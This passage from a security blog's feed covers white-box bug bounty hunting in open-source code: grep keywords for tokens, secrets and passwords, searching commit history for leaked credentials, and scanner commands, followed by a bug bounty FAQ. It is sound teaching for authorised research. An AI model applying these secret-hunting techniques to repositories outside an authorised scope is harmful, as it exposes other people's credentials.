&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ python githubcloner.py --org organization -o /tmp/output
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="static-analysis"&gt;Static Analysis&lt;/h2&gt;
&lt;p&gt;When it comes to static analysis it is very important to start by actually understanding the project you are targeting. Run the project and use the main features. I call this the &amp;ldquo;Jobert step&amp;rdquo;, because I have heard that &lt;a href="https://twitter.com/jobertabma/"&gt;Jobert&lt;/a&gt; spends the first 30 minutes of every hunt using the project and understanding the target before finding vulnerabilities.&lt;/p&gt;
&lt;h2 id="manual-analysis"&gt;Manual analysis&lt;/h2&gt;
&lt;p&gt;This is where the &amp;ldquo;learn to make it, then break it&amp;rdquo; mentality comes into play. If you can familiarize yourself with a programming language, you should know the ins and outs of what to do and what not to do in terms of security.&lt;/p&gt;
&lt;p&gt;Once you understand the target and its architecture, you can start grepping! Search for keywords that you are interested in, understand best or know that developers tend to mess up. Here is a basic list of some of the keywords I will look for during a general first assessment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;API and key. (Get some more endpoints and find API keys.)&lt;/li&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;li&gt;secret&lt;/li&gt;
&lt;li&gt;TODO&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;li&gt;vulnerable 😜&lt;/li&gt;
&lt;li&gt;http:// &amp;amp; https://&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then I will focus on terms that make me smile when developers mess things up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;li&gt;random&lt;/li&gt;
&lt;li&gt;hash&lt;/li&gt;
&lt;li&gt;MD5, SHA-1, SHA-2, etc.&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you get used to certain vulnerability types, you will start knowing exactly what to look for in a specific language. So for instance, when I want to find a timing leak in Java, I know that &lt;code&gt;Arrays.equals()&lt;/code&gt; and &lt;code&gt;HMAC&lt;/code&gt; combined causes that issue.&lt;/p&gt;
&lt;p&gt;Another vital step is to look through the commit history. You will be amazed at the amount of information you can gather from commits. Sometimes I see contributors thinking they have removed credentials, when they stay in the commit history. I have come across old endpoints that still work thanks to the git history. Aside from current issues, you might discover past issues that could potentially be bypassed thanks to old commits.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29084727-37ae5238-7c2a-11e7-9e2e-36d39feeb5b5.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;h2 id="tools"&gt;Tools&lt;/h2&gt;
&lt;p&gt;Sometimes automating the boring tasks can help give you a basic overview of what to look for. It is important to note, that you should never copy and paste findings from scanners into your reports. You will get a lot of false positives, therefore you must always look into the possible issue manually to ensure exploitability.&lt;/p&gt;
&lt;p&gt;When I target Python projects, the main tool that I use is &lt;a href="https://github.com/openstack/bandit"&gt;Bandit&lt;/a&gt;. Bandit will find common issues, but will often return low hanging fruit or false positives. So be careful when using it. It should definitely not be relied on.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ bandit -r path/to/your/code -ll
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;If you want to find outdated Python modules in a project, paste the contents of the &lt;code&gt;requirements.txt&lt;/code&gt; in &lt;a href="https://pyup.io/tools/requirements-checker/"&gt;https://pyup.io/tools/requirements-checker/&lt;/a&gt;. This will show you if there were any security issues in the specified version of the module.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://snyk.io/test"&gt;Snyk.io&lt;/a&gt; is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29084028-fc707cde-7c27-11e7-8da4-3c40d2d2e9ae.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;For recon, many researchers suggest using &lt;a href="https://github.com/michenriksen/gitrob"&gt;Gitrob&lt;/a&gt;. This tool will look for sensitive information in public GitHub repositories.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gitrob analyze acme,johndoe,janedoe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;For finding high entropy strings (API keys, tokens, passswords, etc.), you can use &lt;a href="https://github.com/dxa4481/truffleHog"&gt;truffleHog&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ truffleHog https://github.com/dxa4481/truffleHog.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;If you are looking for an all-in-one secrets finder, &lt;a href="https://github.com/anshumanbh/git-all-secrets"&gt;git-all-secrets&lt;/a&gt; by &lt;a href="https://twitter.com/anshuman_bh"&gt;@anshuman_bh&lt;/a&gt; is the tool for you. This tool combines multiple open source secrets finders into one big tool.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;For Ruby on Rails apps, I recommend &lt;a href="http://brakemanscanner.org/"&gt;Brakeman&lt;/a&gt;. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Use &lt;a href="https://github.com/GerbenJavado/LinkFinder"&gt;LinkFinder&lt;/a&gt; by &lt;a href="https://twitter.com/gerben_javado"&gt;Gerben Javado&lt;/a&gt; to find endpoints in the JS files of the repository.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ python linkfinder.py -i &amp;#39;path/to/your/code/*.js&amp;#39; -r ^/api/ -o cli
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="social-engineering"&gt;Social Engineering&lt;/h2&gt;
&lt;p&gt;OK, seriously do not social engineer the project owners.&lt;/p&gt;
&lt;h2 id="reporting-your-findings"&gt;Reporting your Findings&lt;/h2&gt;
&lt;p&gt;As always when it comes to bug bounty hunting, read the program&amp;rsquo;s policy thoroughly. Very rarely does a program accept reports through GitHub. Contact the security team or if possible use a bug bounty platform such as &lt;a href="https://www.hackerone.com/"&gt;HackerOne&lt;/a&gt; or &lt;a href="https://www.bugcrowd.com/"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On a side note, a cool thing about white-box testing is that since you have
access to the code it can be easier to suggest a fix or submit a patch. 😉&lt;/p&gt;</description></item><item><title>Bug Bounty FAQ</title><link>https://edoverflow.com/2017/bugbounty-faq/</link><pubDate>Sat, 22 Jul 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/bugbounty-faq/</guid><description>&lt;p&gt;A list of questions that bug bounty hunters frequently DM me about. 😄&lt;/p&gt;
&lt;h2 id="how-do-i-get-started-with-bug-bounty-hunting-how-do-i-improve-my-skills"&gt;How do I get started with bug bounty hunting? How do I improve my skills?&lt;/h2&gt;
&lt;p&gt;I have a simple philosophy that I share with everyone:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Learn to make it. Then break it!&lt;/li&gt;
&lt;li&gt;Read books. Lots of books.&lt;/li&gt;
&lt;li&gt;Join discussions and ask questions.&lt;/li&gt;
&lt;li&gt;Participate in open source projects. Learn to code.&lt;/li&gt;
&lt;li&gt;Smile when you get feedback and use it to your advantage.&lt;/li&gt;
&lt;li&gt;Help others. If you can teach it, you have mastered it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-tools-should-i-use"&gt;What tools should I use?&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://bugbountyforum.com/tools/"&gt;https://bugbountyforum.com/tools/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="what-platforms-should-i-use"&gt;What platforms should I use?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.hackerone.com/"&gt;HackerOne&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bugcrowd.com/"&gt;Bugcrowd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cobalt.io/"&gt;Cobalt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.synack.com/red-team/"&gt;Synack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zerocopter.com/"&gt;Zerocopter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="how-should-i-learn-to-code"&gt;How should I learn to code?&lt;/h2&gt;
&lt;p&gt;Get familiar with Python first: &lt;a href="https://learnpythonthehardway.org/"&gt;https://learnpythonthehardway.org/&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="what-books-do-you-recommend"&gt;What books do you recommend?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://leanpub.com/web-hacking-101"&gt;Web Hacking 101&lt;/a&gt; by Peter Yaworski.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://leanpub.com/ltr101-breaking-into-infosec"&gt;Breaking into Information Security: Learning the Ropes 101&lt;/a&gt; by Andy Gill.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/"&gt;The Web Application Hacker&amp;rsquo;s Handbook: Finding and Exploiting Security Flaws&lt;/a&gt; by Dafydd Stuttard and Marcus Pinto.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crypto101.io/"&gt;Crypto 101&lt;/a&gt; by Laurens Van Houtven.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="where-can-i-get-in-touch-with-fellow-researchers"&gt;Where can I get in touch with fellow researchers?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bugbountyforum.com/"&gt;https://bugbountyforum.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bugbountyworld.com/"&gt;http://bugbountyworld.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Twitter&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-does-a-good-report-look-like"&gt;What does a good report look like?&lt;/h2&gt;
&lt;p&gt;Depending on what platform/program you are working on there will be different requirements, but in general the following report by Eugene Farfel is very well written: &lt;a href="https://hackerone.com/reports/115748"&gt;https://hackerone.com/reports/115748&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="is-it-worth-reporting-xyz"&gt;Is it worth reporting XYZ?&lt;/h2&gt;
&lt;p&gt;Read the program&amp;rsquo;s scope. If they do not explicitly request that type of issue, then I would not waste your time reporting it unless you believe the issue has a significant impact on the target.&lt;/p&gt;
&lt;h2 id="what-is-the-best-bug-bounty-program"&gt;What is the best bug bounty program?&lt;/h2&gt;
&lt;p&gt;The best program understands that they must work together with the researcher and not against them. Bug bounties should be a joint effort.&lt;/p&gt;
&lt;h2 id="is-it-illegal-to-do-xyz"&gt;Is it illegal to do XYZ?&lt;/h2&gt;
&lt;p&gt;Lookup the corresponding regulations in order to prevent getting into trouble.&lt;/p&gt;
&lt;h2 id="what-is-it-like-to-run-a-bug-bounty-program"&gt;What is it like to run a bug bounty program?&lt;/h2&gt;
&lt;p&gt;Actually it is a lot of fun. I really look forward to the next report all the time and I am continuously amazed by some of the fantastic findings that researchers report. Admittedly, I do have to deal with a bit of noise, but the good reports compensate for the bad ones.&lt;/p&gt;
&lt;h2 id="how-did-you-get-to-run-a-companys-program"&gt;How did you get to run a company&amp;rsquo;s program?&lt;/h2&gt;
&lt;p&gt;They appreciated my report: &lt;a href="https://hackerone.com/reports/190373"&gt;https://hackerone.com/reports/190373&lt;/a&gt;.&lt;/p&gt;</description></item></channel></rss>